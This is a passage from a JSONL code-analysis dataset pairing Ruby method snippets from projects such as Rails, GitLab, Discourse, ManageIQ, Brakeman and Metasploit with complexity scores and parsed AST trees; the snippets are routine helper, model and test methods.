end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container_registry_protection_rule\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_registry_protection_rule\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"container_registry_protection_rule and current_user must be set\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@container_registry_protection_rule\",{\"type\":\"lvar\",\"children\":[\"container_registry_protection_rule\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"a40b4cb9-b106-4b9d-820d-dec644dacdb1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":546,"raw_source":"def test_javascript_include_tag_is_html_safe\n    assert_predicate javascript_include_tag(\"prototype\"), :html_safe?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_javascript_include_tag_is_html_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"javascript_include_tag\",{\"type\":\"str\",\"children\":[\"prototype\"]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}","id":"f58bdbda-7cf7-46b1-9212-8a4de3c76ee6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":1079,"raw_source":"def test_eager_with_valid_association_as_string_not_symbol\n    assert_nothing_raised { Post.all.merge!(includes: \"comments\").to_a }\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_with_valid_association_as_string_not_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"str\",\"children\":[\"comments\"]}]}]}]},\"to_a\"]}]}]}","id":"ac8f8979-1c8f-47bb-9486-ed11167875d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/subscriptions/base_subscription.rb","start_line":43,"raw_source":"def current_user\n      context[:current_user]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}","id":"bac0c551-45f9-42d2-a4bd-3e7e9f5a46a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/capture.rb","start_line":572,"raw_source":"def configure_tls(datastore, config)\n        datastore['SSL'] = true\n        datastore['SSLCert'] = config[:ssl_cert]\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_tls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datastore\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SSLCert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ssl_cert\"]}]}]}]}]}","id":"30e564eb-3a04-447f-bf6c-26109842479d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/server_smart_proxy.rb","start_line":80,"raw_source":"def scan_metadata(ost)\n    klass  = ost.target_type.constantize\n    target = klass.find(ost.target_id)\n    job    = Job.find_by(:guid => ost.taskid)\n    _log.debug(\"#{target.name} (#{target.class.name})\")\n    begin\n      ost.args[1]  = YAML.load(ost.args[1]) # TODO: YAML.dump'd in call_scan - need it be?\n      ost.scanData = ost.args[1].kind_of?(Hash) ? ost.args[1] : {}\n      ost.jobid    = job.id\n      ost.config = OpenStruct.new(\n        :vmdb               => true,\n        :forceFleeceDefault => true,\n        :capabilities       => {:vixDisk => has_vix_disk_lib?}\n      )\n\n      target.perform_metadata_scan(ost)\n    rescue Exception => err\n      _log.error(err.to_s)\n      _log.log_backtrace(err, :debug)\n      job.signal(:abort_retry, err.to_s, \"error\", true)\n      nil\n    end\n  end","complexity_score":51.08,"ast_json":"{\"type\":\"def\",\"children\":[\"scan_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_type\"]},\"constantize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Job\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"taskid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"args\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"scanData=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"jobid=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"config=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vmdb\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forceFleeceDefault\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capabilities\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vixDisk\"]},{\"type\":\"send\",\"children\":[null,\"has_vix_disk_lib?\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"perform_metadata_scan\",{\"type\":\"lvar\",\"children\":[\"ost\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"log_backtrace\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"signal\",{\"type\":\"sym\",\"children\":[\"abort_retry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"519b1582-ba2d-4593-a85f-cea8cabccb3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_id_to_dependency_list_exports.rb","start_line":69,"raw_source":"def stale?(export)\n        # We delete exports one hour after completion and runtime\n        # is upwards of 30 mins.\n        export.updated_at < 3.hours.ago\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stale?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"updated_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"hours\"]},\"ago\"]}]}]}","id":"60aa10fb-424f-4451-8985-e72b7875c030"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/classes.rb","start_line":64,"raw_source":"def self.regexp\n          Classes.keys.join(\"|\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Classes\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}","id":"e94f186f-272c-40cf-9d85-98a6c646663b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":377,"raw_source":"def note_target_id\n    if commit_note?\n      target.commit_id\n    else\n      target.noteable_id.to_s\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"note_target_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_note?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"noteable_id\"]},\"to_s\"]}]}]}","id":"b37d970d-32a6-4d1b-916a-579a0c187c14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/issues_menu.rb","start_line":89,"raw_source":"def list_menu_item\n          ::Sidebars::MenuItem.new(\n            title: _('List'),\n            link: project_issues_path(context.project),\n            super_sidebar_parent: ::Sidebars::NilMenuItem,\n            active_routes: { path: 'projects/issues#index' },\n            container_html_options: { aria: { label: _('Issues') } },\n            item_id: :issue_list\n          )\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"list_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"List\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"project_issues_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"NilMenuItem\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"projects/issues#index\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Issues\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"issue_list\"]}]}]}]}]}","id":"c703beef-e9fb-4b60-bcad-ca4bb8426768"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/blank.rb","start_line":45,"raw_source":"def presence\n    self if present?\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"presence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present?\"]},{\"type\":\"self\",\"children\":[]},null]}]}","id":"21d33903-9a02-4531-b6e9-34172b8b0c55"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":100,"raw_source":"def create_xindex\n        start = Time.now\n        print_status(\"Creating Exploit Search Index - (#{xindex}) - this won't take long.\")\n        # Use Msf::Config.config_directory as the location.\n        File.open(xindex.to_s, 'w+') do |f|\n          # need to add version line.\n          f.puts(Msf::Framework::Version)\n          framework.exploits.each_module do |refname, mod|\n            stuff = ''\n            o = nil\n            begin\n              o = mod.new\n            rescue ::Exception\n            end\n            stuff << \"#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}\"\n            next if !o\n\n            o.references.map do |x|\n              if x.ctx_id != 'URL'\n                if (x.ctx_id == 'MSB')\n                  stuff << \"|#{x.ctx_val}\"\n                else\n                  stuff << \"|#{x.ctx_id}-#{x.ctx_val}\"\n                end\n              end\n            end\n            stuff << \"\\n\"\n            f.puts(stuff)\n          end\n        end\n        total = Time.now - start\n        print_status(\"It has taken : #{total} seconds to build the exploits search index\")\n      end","complexity_score":61.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_xindex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating Exploit Search Index - (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xindex\"]}]},{\"type\":\"str\",\"children\":[\") - this won't take long.\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xindex\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"w+\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Framework\"]},\"Version\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"exploits\"]},\"each_module\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"refname\"]},{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stuff\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"new\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refname\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"platform_to_s\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"arch_to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"references\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"ctx_id\"]},\"!=\",{\"type\":\"str\",\"children\":[\"URL\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"ctx_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"MSB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"ctx_val\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"ctx_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"ctx_val\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"stuff\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"It has taken : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]}]},{\"type\":\"str\",\"children\":[\" seconds to build the exploits search index\"]}]}]}]}]}","id":"b86b99da-fb94-45a6-841d-a9d3116e9ea5"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/periodic_timers.rb","start_line":66,"raw_source":"def start_periodic_timer(callback, every:)\n          connection.server.event_loop.timer every do\n            connection.worker_pool.async_exec self, connection: connection, &callback\n          end\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start_periodic_timer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callback\"]},{\"type\":\"kwarg\",\"children\":[\"every\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"server\"]},\"event_loop\"]},\"timer\",{\"type\":\"lvar\",\"children\":[\"every\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"worker_pool\"]},\"async_exec\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]}]}","id":"180962af-b9ea-48f7-8e4c-68d90b256169"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":373,"raw_source":"def run_step\n        context[:options] = class_name.new(context[:options])\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_step\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_name\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]}]}]}]}","id":"52148073-e404-42b9-9ab5-9c8dc1b40aac"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":1179,"raw_source":"def related_messages_user(params)\n    messages = messages_for_user.limit(params[:count])\n    messages = allowed_messages(messages, params)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"related_messages_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages_for_user\"]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[null,\"allowed_messages\",{\"type\":\"lvar\",\"children\":[\"messages\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}","id":"c270a321-46e2-4940-9bbc-187a050871be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/invite_members_modal_helpers.rb","start_line":57,"raw_source":"def invite_group(name, role: 'Guest', expires_at: nil, use_exact_text_match: true)\n      click_on 'Invite a group'\n\n      click_on 'Select a group'\n      wait_for_requests\n      find('[role=\"option\"]', text: name).click\n\n      # Find the modal that contains the selected group and scope to that\n      within(page.find('[data-testid=\"invite-modal\"], .js-invite-groups-modal', text: name)) do\n        choose_options(role, expires_at, use_exact_text_match)\n      end\n\n      submit_invites\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"role\",{\"type\":\"str\",\"children\":[\"Guest\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"expires_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"use_exact_text_match\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Invite a group\"]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Select a group\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[role=\\\"option\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"click\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"invite-modal\\\"], .js-invite-groups-modal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"choose_options\",{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"expires_at\"]},{\"type\":\"lvar\",\"children\":[\"use_exact_text_match\"]}]}]},{\"type\":\"send\",\"children\":[null,\"submit_invites\"]}]}]}","id":"7b44907d-bdc6-410e-9e29-b15f2bbc874a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails31.rb","start_line":1079,"raw_source":"def test_sql_injection_with_id_call\n    assert_no_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"b9ade31073676589cf3b6a88de30105f67cc8170e87f2c2fd1c972f50ad2a3b3\",\n      :warning_type => \"SQL Injection\",\n      :line => 34,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 1,\n      :relative_path => \"app/models/user.rb\",\n      :user_input => s(:call, nil, :child_id)\n  